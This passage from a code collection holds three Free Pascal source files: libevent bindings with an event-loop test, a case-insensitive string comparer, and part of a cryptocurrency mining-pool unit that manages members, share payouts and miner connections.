function bufferevent_base_set (const base : PEvent_base ; bufev : PBufferevent) :cInt ; cdecl ; external;
function bufferevent_get_base (const bev : PBufferevent) : Pevent_base ; cdecl ; external;
function bufferevent_priority_set (const bev : PBufferevent ; pri : cInt ) : cInt ; cdecl ; external;
procedure bufferevent_free (const bev : PBufferevent) ; cdecl ; external;
procedure bufferevent_setcb (const bev : PBufferevent; readcb,writecb : bufferevent_data_cb ; eventcb : bufferevent_event_cb ; cbarg : Pointer); cdecl ; external ;
function bufferevent_setfd (const bev : PBufferevent; fd : evutil_socket_t):cInt ; cdecl ; external;
function bufferevent_getfd (const bev : PBufferevent):evutil_socket_t; cdecl ; external;
function bufferevent_get_underlying (const bev : PBufferevent):PBufferevent; cdecl ; external;
function bufferevent_write (const bev : PBufferevent; const data : Pointer ; const size : size_t):cInt; cdecl ; external;
function bufferevent_write_buffer (const bev : PBufferevent; const buf : PEvbuffer):cint; cdecl ; external;
function bufferevent_read (const bev : PBufferevent; const data : Pointer ; const size : size_t):size_t cdecl ; external;
function bufferevent_read_buffer (const bev : PBufferevent; const buf : PEvbuffer):cint; cdecl ; external;
function bufferevent_get_input (const bev : PBufferevent):PEvbuffer; cdecl ; external;
function bufferevent_get_output (const bev : PBufferevent):PEvbuffer; cdecl ; external;
function bufferevent_disable (const bev : PBufferevent; event :cshort):cint; cdecl ; external;
function bufferevent_enable (const bev : PBufferevent; event :cshort):cint; cdecl ; external;
function bufferevent_get_enabled (const bev : PBufferevent):cshort; cdecl ; external;
function bufferevent_set_timeouts (const bev : PBufferevent; const timeout_read,timeout_write : PFCOM_TimeVal):cInt; cdecl ; external;
procedure bufferevent_setwatermark (const bev : PBufferevent; events : cshort ; lowmark, highmark : size_t); cdecl ; external;
procedure bufferevent_lock (const bev : PBufferevent) ;cdecl ; external;
procedure bufferevent_unlock (const bev : PBufferevent) ;cdecl ; external;
function bufferevent_flush (const bev : PBufferevent; iotype : cshort ; mode : cint):cint ;cdecl ; external;
function bufferevent_filter_new (const underlying : PBufferevent; input_filter,output_filter : bufferevent_filter_cb ; options : cInt ; ftx : free_context ; ctx : Pointer):PBufferevent;cdecl ; external;
function bufferevent_pair_new (const bas : PEvent_base ; options : cInt ; pair : tbuffereventpair):cInt ;cdecl ; external;
function bufferevent_pair_get_partner (const bev : PBufferevent):PBufferevent;cdecl;external;
function ev_token_bucket_cfg_new (const read_rate, read_burst, write_rate, write_burst : size_t ; const tick_len : PFCOM_TimeVal):Pev_token_bucket_cfg ; cdecl ; external;
procedure ev_token_bucket_cfg_free (const cfg : Pev_token_bucket_cfg ) ;cdecl ; external;
function bufferevent_set_rate_limit (const bev : PBufferevent ; cfg : Pev_token_bucket_cfg):cInt ;cdecl ; external;
function bufferevent_rate_limit_group_new (const base : PEvent_base ; cfg : Pev_token_bucket_cfg):Pbufferevent_rate_limit_group;cdecl ; external;
function bufferevent_rate_limit_group_set_cfg (const grp : Pbufferevent_rate_limit_group ; cfg : Pev_token_bucket_cfg):cint ;cdecl ; external;
function bufferevent_rate_limit_group_set_min_share (const grp : Pbufferevent_rate_limit_group ; const val : size_t):cint ;cdecl ; external;
procedure bufferevent_rate_limit_group_free (const grp : Pbufferevent_rate_limit_group) ; cdecl ; external;
function bufferevent_add_to_rate_limit_group (const bev : PBufferevent ;const g : Pbufferevent_rate_limit_group):cint; cdecl ; external;
function bufferevent_remove_from_rate_limit_group (const bev : PBufferevent) : cint ;cdecl ; external;
function bufferevent_get_read_limit (const bev : PBufferevent):ev_ssize_t; cdecl ; external;
function bufferevent_get_write_limit (const bev : PBufferevent):ev_ssize_t; cdecl ; external;
function bufferevent_get_max_to_read (const bev : PBufferevent):ev_ssize_t; cdecl ; external;
function bufferevent_get_max_to_write (const bev : PBufferevent):ev_ssize_t; cdecl ; external;
function bufferevent_rate_limit_group_get_read_limit (const grp : Pbufferevent_rate_limit_group):ev_ssize_t;cdecl ; external;
function bufferevent_rate_limit_group_get_write_limit (const grp : Pbufferevent_rate_limit_group):ev_ssize_t;cdecl ; external;
function evdns_getaddrinfo (dns_base : Pevdns_base ; const nodename : PChar ; const servname : PChar ; const hints_in : Pevutil_addrinfo ; cb : evdns_getaddrinfo_cb ; arg : Pointer):Pevdns_getaddrinfo_request ; cdecl ; external;
procedure evdns_getaddrinfo_cancel (req : Pevdns_getaddrinfo_request); cdecl ; external ;
//int bufferevent_decrement_read_limit(struct bufferevent *bev, ev_ssize_t decr);
//int bufferevent_decrement_write_limit(struct bufferevent *bev, ev_ssize_t decr);
//int bufferevent_rate_limit_group_decrement_read(struct bufferevent_rate_limit_group *, ev_ssize_t);
//int bufferevent_rate_limit_group_decrement_write(struct bufferevent_rate_limit_group *, ev_ssize_t);
//void bufferevent_rate_limit_group_get_totals(struct bufferevent_rate_limit_group *grp,ev_uint64_t *total_read_out, ev_uint64_t *total_written_out);
//void bufferevent_rate_limit_group_reset_totals(struct bufferevent_rate_limit_group *grp);
//;cdecl ; external;
//;cdecl ; external;
//SSL
function bufferevent_get_openssl_error (const bev : PBufferevent):culong; cdecl; external;
function bufferevent_openssl_filter_new (const base : PEvent_base ; underlying : Pbufferevent ; ssl : Pssl_st ; ssl_state : cInt ; options : cint):Pbufferevent;cdecl ; external;
function bufferevent_openssl_socket_new (const base : PEvent_base ; fd : evutil_socket_t ; ssl : Pssl_st ; ssl_state : cInt ; options : cint):PBufferevent ; cdecl ; external;
function bufferevent_openssl_get_ssl (const bev : PBufferevent):Pssl_st; cdecl ; external;
function bufferevent_ssl_renegotiate (const bev : Pbufferevent):cint; cdecl ; external;
//dns
function evdns_base_new (event_base:PEvent_base ; initialize_nameservers : cint):Pevdns_base ; cdecl ; external;
procedure evdns_base_free ( base:Pevdns_base ; fail_requests : cint) ; cdecl ; external ;
//util
// RFC3493
function evutil_inet_ntop (af : cInt ; src:Pointer ; dst : PChar ; dst_len : size_t) : PChar ; cdecl ; external;
function evutil_inet_pton (af : cInt ; src:Pchar ; dst : Pointer) : cInt ; cdecl ; external;
function evutil_parse_sockaddr_port (str : PChar ; out_sa : PFCOM_SOCKADDRSTORAGE ; var outlen : cInt) : cInt ; cdecl ; external;
function evutil_gai_strerror (err : cInt):PChar ; cdecl ; external;
function evutil_socketpair (const d, typ, protocol :cInt ; sv : tevutil_socket_t_pair):cInt ; cdecl ; external;
function evutil_make_socket_nonblocking (sock : evutil_socket_t):cint ; cdecl ; external;
function evutil_make_listen_socket_reuseable (sock : evutil_socket_t):cint ; cdecl ; external;
function evutil_make_socket_closeonexec (sock : evutil_socket_t):cint ; cdecl ; external;
function evutil_closesocket (sock : evutil_socket_t):cint ; cdecl ; external;
//function evutil_socket_geterror (sock : evutil_socket_t):cint ; cdecl ; external;
function evutil_socket_error_to_string (errcode:cint):Pchar ; cdecl ; external;
function evbuffer_new : PEvbuffer ; cdecl ; external;
procedure evbuffer_free (const evbuffer:PEvbuffer) ; cdecl ; external;
function evbuffer_get_length (const evbuffer:PEvbuffer):size_t ; cdecl ; external;
function evbuffer_get_contiguous_space (const evbuffer:PEvbuffer):size_t ; cdecl ; external;
function evbuffer_expand (const evbuffer:PEvbuffer; datlen : size_t):cInt ; cdecl ; external;
function evbuffer_add (const evbuffer:PEvbuffer; const data: Pointer ; const datlen :size_t):cInt ; cdecl ; external;
function evbuffer_remove (const evbuffer:PEvbuffer; const data: Pointer ; const datlen :size_t):cInt ; cdecl ; external;
function evbuffer_copyout (const evbuffer:PEvbuffer; const data: Pointer ; const datlen :size_t):ev_ssize_t ; cdecl ; external;
function evbuffer_remove_buffer (const src, dst:PEvbuffer; const datlen : size_t):cint ; cdecl ; external;
function evbuffer_readln (const buffer:PEvbuffer; var n_read_out : size_t ; eol_style :evbuffer_eol_style):PChar; cdecl ; external;
function evbuffer_add_buffer (const outbuffer,inbuffer:PEvbuffer):cInt ; cdecl ; external;
function evbuffer_add_file (const outbuffer:PEvbuffer ; fd :cInt ; offset,len : ev_off_t):cInt ; cdecl ; external;
function evbuffer_drain (const buffer:PEvbuffer ; const len : size_t):cint ; cdecl ; external;
function evbuffer_write (const buffer:PEvbuffer ; fd : evutil_socket_t):cint ; cdecl ; external;
function evbuffer_write_atmost (const buffer:PEvbuffer ; fd : evutil_socket_t ; howmuch : ev_ssize_t):cint ; cdecl ; external;
function evbuffer_read (const buffer:PEvbuffer ; fd : evutil_socket_t ; howmuch : cint):cint ; cdecl ; external;
function evbuffer_peek (const buffer:PEvbuffer ; len : ev_ssize_t ; start_at : Pevbuffer_ptr ; vec_out : Pevbuffer_iovec ; n_vec : cInt):cInt ; cdecl ; external;
function evbuffer_pullup (const buffer:PEvbuffer ; size : ev_ssize_t):Pbyte ; cdecl ; external;
function evbuffer_prepend (const evbuffer:PEvbuffer; const data: Pointer ; const datlen :size_t):cInt ; cdecl ; external;
function evbuffer_prepend_buffer (const outbuffer,inbuffer:PEvbuffer):cInt ; cdecl ; external;
function evbuffer_reserve_space (const buffer:PEvbuffer ; size : ev_ssize_t ; vec: Pevbuffer_iovec ; n_vec : cInt):cInt ; cdecl ; external;
function evbuffer_commit_space (const buffer:PEvbuffer ; vec: Pevbuffer_iovec ; n_vec : cInt):cInt ; cdecl ; external;
function evbuffer_add_cb (const buffer:PEvbuffer ; cb : evbuffer_cb_func ; cbarg : Pointer ):Pevbuffer_cb_entry; cdecl ; external;
function evbuffer_remove_cb_entry (const buffer:PEvbuffer ; ent : Pevbuffer_cb_entry):cInt ; cdecl ; external;
procedure Test_LE;
implementation
var cfg : Pevent_config;
res : integer;
base : PEvent_base;
procedure EventCB (fd : evutil_socket_t ; short: cshort ; data:pointer); cdecl;
var tvw : TFCOM_TimeVal = (tv_sec : 5 ; tv_usec : 0);
begin
writeln('EVENT CALLBACK ',fd,' ',short,' ',integer(data),' ', PtrUInt(GetThreadID));
writeln(event_base_loopbreak(base));
tvw.tv_sec:=0;
tvw.tv_usec:=0;
writeln(event_base_loopexit(base,@tvw));
end;
procedure EventCB2(fd : evutil_socket_t ; short: cshort ; data:pointer); cdecl;
//var tvw : TFCOM_TimeVal = (tv_sec : 5 ; tv_usec : 0);
begin
writeln('EVENT CALLBACK 2 ',fd,' ',short,' ',integer(data),' ', PtrUInt(GetThreadID));
sleep(2000);
//writeln(event_base_loopbreak(base));
//tvw.tv_sec:=0;
//tvw.tv_usec:=0;
//writeln(event_base_loopexit(base,@tvw));
end;
type
{ TEV2_Thread }
TEV2_Thread=class(tthread)
private
Fev : PEvent;
FEvb : PEvent_base;
constructor Create(const evb : PEvent_base);
procedure Execute;override;
end;
{ TEV2_Thread }
constructor TEV2_Thread.Create(const evb: PEvent_base);
begin
FreeOnTerminate:=true;
FevB := evb;
Inherited create(False);
end;
procedure TEV2_Thread.Execute;
var i:integer;
begin
FreeOnTerminate:=true;
//Fev := event_new(FEvb,-1,EV_READ or EV_WRITE or EV_PERSIST,@EventCB2,nil);
Fev := event_new(FEvb,-1,EV_READ or EV_WRITE,@EventCB2,nil);
event_add(Fev,nil);
for i:=0 to 20 do
begin
sleep(5);
if i mod 2=0 then
begin
writeln('SENDEV R',PtrUInt(GetThreadID));
event_active(Fev,EV_READ,0);
end
else
begin
writeln('SENDEV W',PtrUInt(GetThreadID));
event_active(Fev,EV_WRITE,0);
end;
end;
end;
procedure TesT_LE;
var meths : PPchar;
i : Integer;
tv : TFCOM_TimeVal = (tv_sec : 10 ; tv_usec : 0);
tv2 : TFCOM_TimeVal = (tv_sec : 1 ; tv_usec : 0);
ev1,
ev2 : PEvent;
procedure _setupUnix;
procedure _SetupSignals;
var ign,dummy: SigactionRec;
begin
ign.sa_handler:=SigActionHandler(SIG_IGN);
ign.sa_flags:=0;
fpsigemptyset(ign.sa_mask);
FPsigaction(SIGINT, @ign, @dummy);
FPSigaction(SIGUSR1, @ign, @dummy);
FPSigaction(SIGHUP, @ign, @dummy);
FPSigaction(SIGTERM, @ign, @dummy);
FPSigaction(SIGPIPE, @ign, @dummy); // IGNORE BROKEN PIPE
end;
begin
_SetupSignals;
end;
var sa : TFCOM_SOCKADDRSTORAGE;
//sa : sockaddr;
len : cInt;
s : string;
res_string : string;
begin
writeln('Libevent Ussepthreads ',evthread_use_pthreads);
writeln('Libevent Test ',PChar(event_get_version));
// res := evutil_parse_sockaddr_port('fe80::ca2a:14ff:fe14:2764',@sa,len);
len := sizeof(TFCOM_SOCKADDRSTORAGE);
writeln('sizeof sockaddr ',len);
FillByte(sa,sizeof(sa),0);
res := evutil_parse_sockaddr_port('[fe80::ca2a:14ff:fe14:2764]:44000',@sa,len);
res := evutil_parse_sockaddr_port('10.1.0.133:44000',@sa,len);
writeln('PARSE ',res,' ',len);
setlength(res_string,128);
writeln(sa.sin_family);
case sa.sin_family of
FCOM_AF_INET : evutil_inet_ntop(FCOM_AF_INET,@sa.sin_addr,@res_String[1],Length(res_string));
FCOM_AF_INET6: evutil_inet_ntop(FCOM_AF_INET6,@sa.sin6_addr,@res_String[1],Length(res_string));
end;
writeln('FORMAT : ',pchar(@res_string[1]),' ',BEtoN(sa.sin_port),' ',BEtoN(sa.sin6_port));
cfg := event_config_new;
writeln('cfg ',integer(cfg));
// res := event_config_avoid_method(cfg, 'xx-kqueue');
// writeln('avoid : ',res);
// res := event_config_require_features(cfg, EV_FEATURE_ET or EV_FEATURE_O1 or EV_FEATURE_FDS);
res := event_config_require_features(cfg, EV_FEATURE_O1);
writeln('features : ',res);
// base := event_base_new_with_config(cfg);
base := event_base_new;
writeln('Libevent make_base_notifiable ',evthread_make_base_notifiable(base));
//writeln('Libevent make_base_notifiable ',evthread_make_base_notifiable(base));
event_config_free(cfg);
writeln('base : ',integer(base));
_setupUnix;
meths := event_get_supported_methods;
for i:=0 to 100 do begin
if assigned(meths[i]) then begin
writeln('All Method : ',i,' ',string(meths[i]));
end else break;
end;
writeln('Chosen Method : ',string(event_base_get_method(base)),' Features : ',event_base_get_features(base));
ev1 := event_new(base, SIGINT, EV_SIGNAL or EV_PERSIST, @EventCB, nil);
writeln('EV1 ',integer(ev1));
//event_base_loopexit(base, @tv);
writeln('LOOP');
event_add(ev1,@tv);
TEV2_Thread.create(base);
// event_base_loop(base,EVLOOP_NO_EXIT_ON_EMPTY);
event_base_loop(base,0);
writeln('DONE');
event_base_free(base);
end;
end.
|
unit System.Comparers;
interface
uses
System.Generics.Defaults;
type
TCaseInsensitiveStringComparer = class(TInterfacedObject, IComparer<String>)
private
class function GetDefaultComparer: IComparer<String>; static;
protected
class var
FDefaultStrComparer: IComparer<String>;
public
function Compare(const Left, Right: String): Integer;
class property DefaultComparer: IComparer<String> read GetDefaultComparer;
end;
function CompareStrCaseInsensitive(const Left, Right: String): Integer;
implementation
uses
System.Character;
{ TInsensitiveStringComparer }
function CaseInsensitiveChar(const C: Char): Char; inline;
begin
Result := C.ToUpper();
end;
function CompareStrCaseInsensitive(const Left, Right: String): Integer;
var
P1, P2: PChar;
C1, C2: Char;
begin
if (Left = '') then
begin
if Right = '' then
Exit(0)
else
Exit(-1);
end else
if Right = '' then
Exit(+1);
P1 := PChar(Left);
P2 := PChar(Right);
while True do
begin
C1 := CaseInsensitiveChar(P1^);
C2 := CaseInsensitiveChar(P2^);
if (C1 <> C2) or (C1 = #0) then
Exit(Ord(C1) - Ord(C2));
Inc(P1);
Inc(P2);
end;
end;
function TCaseInsensitiveStringComparer.Compare(const Left, Right: String): Integer;
begin
Result := CompareStrCaseInsensitive(Left, Right);
end;
class function TCaseInsensitiveStringComparer.GetDefaultComparer: IComparer<String>;
begin
if TCaseInsensitiveStringComparer.FDefaultStrComparer = nil then
TCaseInsensitiveStringComparer.FDefaultStrComparer := TCaseInsensitiveStringComparer.Create();
Result := TCaseInsensitiveStringComparer.FDefaultStrComparer;
end;
end.
|
unit PoolManage;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, IdContext, IdGlobal, fileutil;
function PoolDataString(member:string):String;
function GetPoolEmptySlot():integer;
function GetMemberPrefijo(poolslot:integer):string;
function PoolAddNewMember(direccion:string):string;
Procedure LoadMyPoolData();
Procedure SaveMyPoolData();
function GetPoolMemberBalance(direccion:string):int64;
Procedure SetMinerUpdate(Rvalue:boolean;number:integer);
Procedure ResetPoolMiningInfo();
Procedure AdjustWrongSteps();
function GetPoolNumeroDePasos():integer;
Procedure DistribuirEnPool(cantidad:int64);
Function GetTotalPoolDeuda():Int64;
Procedure AcreditarPoolStep(direccion:string; value:integer);
function GetLastPagoPoolMember(direccion:string):integer;
Procedure ClearPoolUserBalance(direccion:string);
Procedure PoolUndoneLastPayment();
function SavePoolServerConnection(Ip,Prefijo,UserAddress,minerver:String;contexto:TIdContext):boolean;
function GetPoolTotalActiveConex ():integer;
function GetPoolContextIndex(AContext: TIdContext):integer;
Procedure BorrarPoolServerConex(AContext: TIdContext);
Procedure CalculatePoolHashrate();
function GetPoolMemberPosition(member:String):integer;
function IsPoolMemberConnected(address:string):integer;
Function NewSavePoolPayment(DataLine:string):boolean;
Function GetMinerHashrate(slot:integer):int64;
function PoolStatusString():String;
function StepAlreadyAdded(stepstring:string):Boolean;
Procedure RestartPoolSolution();
function KickPoolIP(IP:string):integer;
Procedure UpdateMinerPing(index:integer;Hashpower:int64 = -1);
Function IsMinerPinedOut(index:integer):boolean;
implementation
uses
MasterPaskalForm, mpparser, mpminer, mpdisk, mptime, mpGUI, mpCoin;
//** Returns an array with all the information for miners
function PoolDataString(member:string):String; // ThSa verified!
var
MemberBalance : Int64;
lastpago : integer;
BlocksTillPayment : integer;
allinfotext : string;
Begin
MemberBalance := GetPoolMemberBalance(member);
lastpago := GetLastPagoPoolMember(member);
EnterCriticalSection(CSPoolMiner);
BlocksTillPayment := MyLastBlock-(lastpago+PoolInfo.TipoPago);
allinfotext :=IntToStr(PoolMiner.Block)+' '+ // block target
PoolMiner.Target+' '+ // string target
IntToStr(PoolMiner.DiffChars)+' '+ // target chars
inttostr(PoolMiner.steps)+' '+ // founded steps
inttostr(PoolMiner.Dificult)+' '+ // block difficult
IntToStr(MemberBalance)+' '+ // member balance
IntToStr(BlocksTillPayment)+' '+ // block payment
IntToStr(PoolTotalHashRate)+' '+
IntToStr(PoolStepsDeep); // Pool Hash Rate
LeaveCriticalSection(CSPoolMiner);
Result := 'PoolData '+allinfotext;
End;
//** returns an empty slot in the pool
function GetPoolEmptySlot():integer; // ThSa verified!
var
contador : integer;
Begin
result := -1;
Entercriticalsection(CSPoolMembers);
if length(ArrayPoolMembers)>0 then
begin
for contador := 0 to length(ArrayPoolMembers)-1 do
begin
if ArrayPoolMembers[contador].Direccion = '' then
begin
result := contador;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
//** returns a valid prefix for the miner
function GetMemberPrefijo(poolslot:integer):string;
var
firstchar, secondchar : integer;
HashChars : integer;
Begin
HashChars := length(HasheableChars)-1;
firstchar := poolslot div HashChars;
secondchar := poolslot mod HashChars;
result := HasheableChars[firstchar+1]+HasheableChars[secondchar+1]+'0000000';
End;
//** Returns the prefix for a new connection or empty if pool is full
function PoolAddNewMember(direccion:string):string; // ThSa verified!
var
PoolSlot : integer;
CurrPos : integer;
Begin
SetCurrentJob('PoolAddNewMember',true);
PoolSlot := GetPoolEmptySlot;
CurrPos := GetPoolMemberPosition(direccion);
EnterCriticalSection(CSPoolMembers);
setmilitime('PoolAddNewMember',1);
result := '';
if ( (length(ArrayPoolMembers)>0) and (CurrPos>=0) ) then
begin
result := ArrayPoolMembers[CurrPos].Prefijo;
end
else if ( (length(ArrayPoolMembers)>0) and (PoolSlot >= 0) ) then
begin
ArrayPoolMembers[PoolSlot].Direccion:=direccion;
ArrayPoolMembers[PoolSlot].Prefijo:=GetMemberPrefijo(PoolSlot);
ArrayPoolMembers[PoolSlot].Deuda:=0;
ArrayPoolMembers[PoolSlot].Soluciones:=0;
ArrayPoolMembers[PoolSlot].LastPago:=MyLastBlock;
ArrayPoolMembers[PoolSlot].TotalGanado:=0;
ArrayPoolMembers[PoolSlot].LastSolucion:=0;
ArrayPoolMembers[PoolSlot].LastEarned:=0;
S_PoolMembers := true;
result := ArrayPoolMembers[PoolSlot].Prefijo;
end;
LeaveCriticalSection(CSPoolMembers);
setmilitime('PoolAddNewMember',2);
SetCurrentJob('PoolAddNewMember',false);
End;
Procedure LoadMyPoolData();
Begin
MyPoolData.Direccion:=Parameter(UserOptions.PoolInfo,0);
MyPoolData.Prefijo:=Parameter(UserOptions.PoolInfo,1);
MyPoolData.Ip:=Parameter(UserOptions.PoolInfo,2);
MyPoolData.port:=StrToIntDef(Parameter(UserOptions.PoolInfo,3),8082);
MyPoolData.MyAddress:=Parameter(UserOptions.PoolInfo,4);
MyPoolData.Name:=Parameter(UserOptions.PoolInfo,5);
MyPoolData.Password:=Parameter(UserOptions.PoolInfo,6);
MyPoolData.balance:=0;
MyPoolData.LastPago:=0;
//Miner_UsingPool := true;
End;
Procedure SaveMyPoolData();
Begin
UserOptions.PoolInfo:=MyPoolData.Direccion+' '+
MyPoolData.Prefijo+' '+
MyPoolData.Ip+' '+
IntToStr(MyPoolData.port)+' '+
MyPoolData.MyAddress+' '+
MyPoolData.Name+' '+
MyPoolData.Password;
S_Options := true;
End;
function GetPoolMemberBalance(direccion:string):int64; // ThSa verified!
var
contador : integer;
Begin
result :=0;
Entercriticalsection(CSPoolMembers);
if length(ArrayPoolMembers)>0 then
begin
for contador := 0 to length(ArrayPoolMembers)-1 do
begin
if arraypoolmembers[contador].Direccion = direccion then
begin
result := arraypoolmembers[contador].Deuda;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
Procedure AdjustWrongSteps(); // ThSa verified!
var
counter : integer;
Begin
EnterCriticalSection(CSMinersConex);
for counter := 0 to length(PoolServerConex)-1 do
begin
if PoolServerConex[counter].Address <> '' then
begin
PoolServerConex[counter].WrongSteps-=1;
if PoolServerConex[counter].WrongSteps<0 then PoolServerConex[counter].WrongSteps := 0;
end;
end;
LeaveCriticalSection(CSMinersConex);
End;
Procedure SetMinerUpdate(Rvalue:boolean;number:integer); // ThSa verified!
var
counter : integer;
Begin
if number = -1 then
Begin
EnterCriticalSection(CSMinersConex);
for counter := 0 to length(PoolServerConex)-1 do
PoolServerConex[counter].SendSteps:=Rvalue;
LeaveCriticalSection(CSMinersConex);
end
else
begin
EnterCriticalSection(CSMinersConex);
PoolServerConex[number].SendSteps:=Rvalue;
LeaveCriticalSection(CSMinersConex);
end;
End;
Procedure ResetPoolMiningInfo();
Begin
EnterCriticalSection(CSPoolMiner);
PoolMiner.Block:=LastBlockData.Number+1;
PoolMiner.Solucion:='';
PoolMiner.steps:=0;
PoolMiner.Dificult:=LastBlockData.NxtBlkDiff;
PoolMiner.DiffChars:=GetCharsFromDifficult(PoolMiner.Dificult, PoolMiner.steps);
PoolMiner.Target:=MyLastBlockHash;
AdjustWrongSteps();
PoolMinerBlockFound := false;
SetLength(Miner_PoolSharedStep,0);
LeaveCriticalSection(CSPoolMiner);
SetMinerUpdate(true,-1);
End;
Function GetPoolMinningInfo():PoolMinerData;
Begin
EnterCriticalSection(CSPoolMiner);
result := PoolMiner;
LeaveCriticalSection(CSPoolMiner);
End;
Procedure SetPoolMinningInfo(NewData:PoolMinerData);
Begin
EnterCriticalSection(CSPoolMiner);
PoolMiner := NewData;
LeaveCriticalSection(CSPoolMiner);
End;
function GetPoolNumeroDePasos():integer; // ThSa verified!
var
contador : integer;
Begin
result := 0;
Entercriticalsection(CSPoolMembers);
if length(arraypoolmembers)>0 then
begin
for contador := 0 to length(arraypoolmembers)-1 do
result := result + arraypoolmembers[contador].Soluciones;
end;
Leavecriticalsection(CSPoolMembers);
End;
Function GetTotalPoolDeuda():Int64; // ThSa verified!
var
contador : integer;
Begin
Result := 0;
Entercriticalsection(CSPoolMembers);
if length(arraypoolmembers)>0 then
begin
for contador := 0 to length(arraypoolmembers)-1 do
Result := Result + arraypoolmembers[contador].Deuda;
end;
Leavecriticalsection(CSPoolMembers);
End;
Procedure DistribuirEnPool(cantidad:int64); // ThSa verified!
var
numerodepasos: integer;
PoolComision : int64;
ARepartir, PagoPorStep, PagoPorPOS, MinersConPos: int64;
contador : integer;
RepartirShares : int64;
Begin
setmilitime('DistribuirEnPool',1);
ARepartir := Cantidad;
NumeroDePasos := GetPoolNumeroDePasos();
PoolComision := (cantidad* PoolInfo.Porcentaje) div 10000;
PoolInfo.FeeEarned:=PoolInfo.FeeEarned+PoolComision;
ARepartir := ARepartir-PoolComision;
RepartirShares := (ARepartir * PoolShare) div 100;
PagoPorStep := RepartirShares div NumeroDePasos;
// DISTRIBUTE SHARES
for contador := 0 to length(arraypoolmembers)-1 do
begin
Entercriticalsection(CSPoolMembers);
if arraypoolmembers[contador].Soluciones > 0 then
begin
arraypoolmembers[contador].Deuda:=arraypoolmembers[contador].Deuda+
(arraypoolmembers[contador].Soluciones*PagoPorStep);
arraypoolmembers[contador].TotalGanado:=arraypoolmembers[contador].TotalGanado+
(arraypoolmembers[contador].Soluciones*PagoPorStep);
arraypoolmembers[contador].LastEarned:=(arraypoolmembers[contador].Soluciones*PagoPorStep);
arraypoolmembers[contador].Soluciones := 0;
end
else
begin
arraypoolmembers[contador].LastEarned:=0;
end;
Leavecriticalsection(CSPoolMembers);
end;
ConsoleLinesAdd('Pool Shares : '+IntToStr(NumeroDePasos));
ConsoleLinesAdd('Pay per Share : '+Int2Curr(PagoPorStep));
PoolMembersTotalDeuda := GetTotalPoolDeuda();
S_PoolInfo := true;
setmilitime('DistribuirEnPool',2);
End;
Procedure AcreditarPoolStep(direccion:string; value:integer); // ThSa verified!
var
contador : integer;
Begin
Entercriticalsection(CSPoolMembers);
if length(arraypoolmembers)>0 then
begin
for contador := 0 to length(arraypoolmembers)-1 do
begin
if arraypoolmembers[contador].Direccion = direccion then
begin
arraypoolmembers[contador].Soluciones :=arraypoolmembers[contador].Soluciones+value;
arraypoolmembers[contador].LastSolucion:=PoolMiner.Block;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
function GetLastPagoPoolMember(direccion:string):integer; // ThSa verified!
var
contador : integer;
Begin
result :=-1;
entercriticalsection(CSPoolMembers);
if length(ArrayPoolMembers)>0 then
begin
for contador := 0 to length(ArrayPoolMembers)-1 do
begin
if arraypoolmembers[contador].Direccion = direccion then
begin
result := arraypoolmembers[contador].LastPago;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
Procedure ClearPoolUserBalance(direccion:string); // ThSa verified!
var
contador : integer;
Begin
entercriticalsection(CSPoolMembers);
if length(ArrayPoolMembers)>0 then
begin
for contador := 0 to length(ArrayPoolMembers)-1 do
begin
if arraypoolmembers[contador].Direccion = direccion then
begin
arraypoolmembers[contador].Deuda:=0;
arraypoolmembers[contador].LastPago:=MyLastBlock;
break;
end;
end;
end;
Leavecriticalsection(CSPoolMembers);
S_PoolMembers := true;
S_PoolInfo := true;
PoolMembersTotalDeuda := GetTotalPoolDeuda();
End;
Procedure PoolUndoneLastPayment(); // ThSa verified!
var
contador : integer;
totalmenos : int64 = 0;
Begin
entercriticalsection(CSPoolMembers);
if length(arraypoolmembers)>0 then
begin
for contador := 0 to length(arraypoolmembers)-1 do
begin
totalmenos := totalmenos+ arraypoolmembers[contador].LastEarned;
arraypoolmembers[contador].Deuda :=arraypoolmembers[contador].Deuda-arraypoolmembers[contador].LastEarned;
if arraypoolmembers[contador].deuda < 0 then arraypoolmembers[contador].deuda := 0;
arraypoolmembers[contador].TotalGanado:=arraypoolmembers[contador].TotalGanado-arraypoolmembers[contador].LastEarned;
end;
end;
Leavecriticalsection(CSPoolMembers);
S_PoolMembers := true;
ConsoleLinesAdd('Discounted last payment to pool members : '+Int2curr(totalmenos));
PoolMembersTotalDeuda := GetTotalPoolDeuda();
End;
function GetPoolSlotFromPrefjo(prefijo:string):Integer; // ThSa verified!
var
counter : integer;
Begin
result := -1;
Entercriticalsection(CSPoolMembers);
for counter := 0 to length(arraypoolmembers)-1 do
begin
if arraypoolmembers[counter].Prefijo = prefijo then
begin
result := counter;
break;
end;
end;
Leavecriticalsection(CSPoolMembers);
End;
function SavePoolServerConnection(Ip,Prefijo,UserAddress,minerver:String;contexto:TIdContext): boolean; // ThSa verified!
var
newdato : PoolUserConnection;
slot: integer;
Begin
result := false;
slot := GetPoolSlotFromPrefjo(Prefijo);
EnterCriticalSection(CSMinersConex);
if slot >= 0 then
begin
NewDato := Default(PoolUserConnection);
NewDato.Ip:=Ip;
NewDato.Address:=UserAddress;
NewDato.Context:=Contexto;
NewDato.slot:=slot;
NewDato.Version:=minerver;
NewDato.LastPing:=StrToInt64(UTCTime);
PoolServerConex[slot] := NewDato;
result := true;
U_PoolConexGrid := true;
end;
LeaveCriticalSection(CSMinersConex);
End;
function GetPoolTotalActiveConex ():integer; // ThSa verified!
var
cont:integer;
Begin
result := 0;
EnterCriticalSection(CSMinersConex);
if length(PoolServerConex) > 0 then
begin
for cont := 0 to length(PoolServerConex)-1 do
if PoolServerConex[cont].Address<>'' then result := result + 1;
end;
LeaveCriticalSection(CSMinersConex);
End;
function GetPoolContextIndex(AContext: TIdContext):integer; // ThSa verified!
var
contador : integer = 0;
Begin
result := -1;
EnterCriticalSection(CSMinersConex);
if length(PoolServerConex) > 0 then
begin
for contador := 0 to length(PoolServerConex)-1 do
begin
if Poolserverconex[contador].Context=AContext then
begin
result := contador;
break;
end;
end;
end;
LeaveCriticalSection(CSMinersConex);
End;
Procedure BorrarPoolServerConex(AContext: TIdContext); // ThSa verified!
var
contador : integer = 0;
Begin
if G_ClosingAPP then exit;
setmilitime('BorrarPoolServerConex',1);
EnterCriticalSection(CSMinersConex);
if length(PoolServerConex) > 0 then
begin
for contador := 0 to length(PoolServerConex)-1 do
begin
if Poolserverconex[contador].Context=AContext then
begin
